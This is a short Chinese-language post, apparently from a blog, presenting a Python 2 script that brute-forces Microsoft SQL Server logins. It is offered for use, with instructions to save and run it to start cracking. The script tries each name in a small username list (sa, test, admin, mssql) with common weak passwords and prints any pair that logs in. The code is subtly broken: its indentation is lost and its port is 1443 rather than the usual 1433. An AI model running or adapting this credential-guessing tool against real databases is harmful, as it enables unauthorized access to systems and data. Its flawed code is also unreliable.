Mssql Python版本爆破小脚本,需要安装 MSSQL-python.exe 可以看出代码量很少,用法:保存代码为MssqlDatabaseBlasting.py,cmd切换到 MssqlDatabaseBlasting.py路径下,并 执行 MssqlDatabaseBlasting.py即可开始破解
import pymssql
common_weak_password = ('','123456','test','root','admin','user')#密码字典
mssql_username = ('sa', 'test', 'admin', 'mssql')#账号字典
success = False
host = "127.0.0.1"#数据库IP地址
port = 1443
for username in mssql_username:
for password in common_weak_password:
try:
db = pymssql.connect(server=host, port=port, user=username, password=password)
success = True
if success:
print username, password
except Exception, e:
pass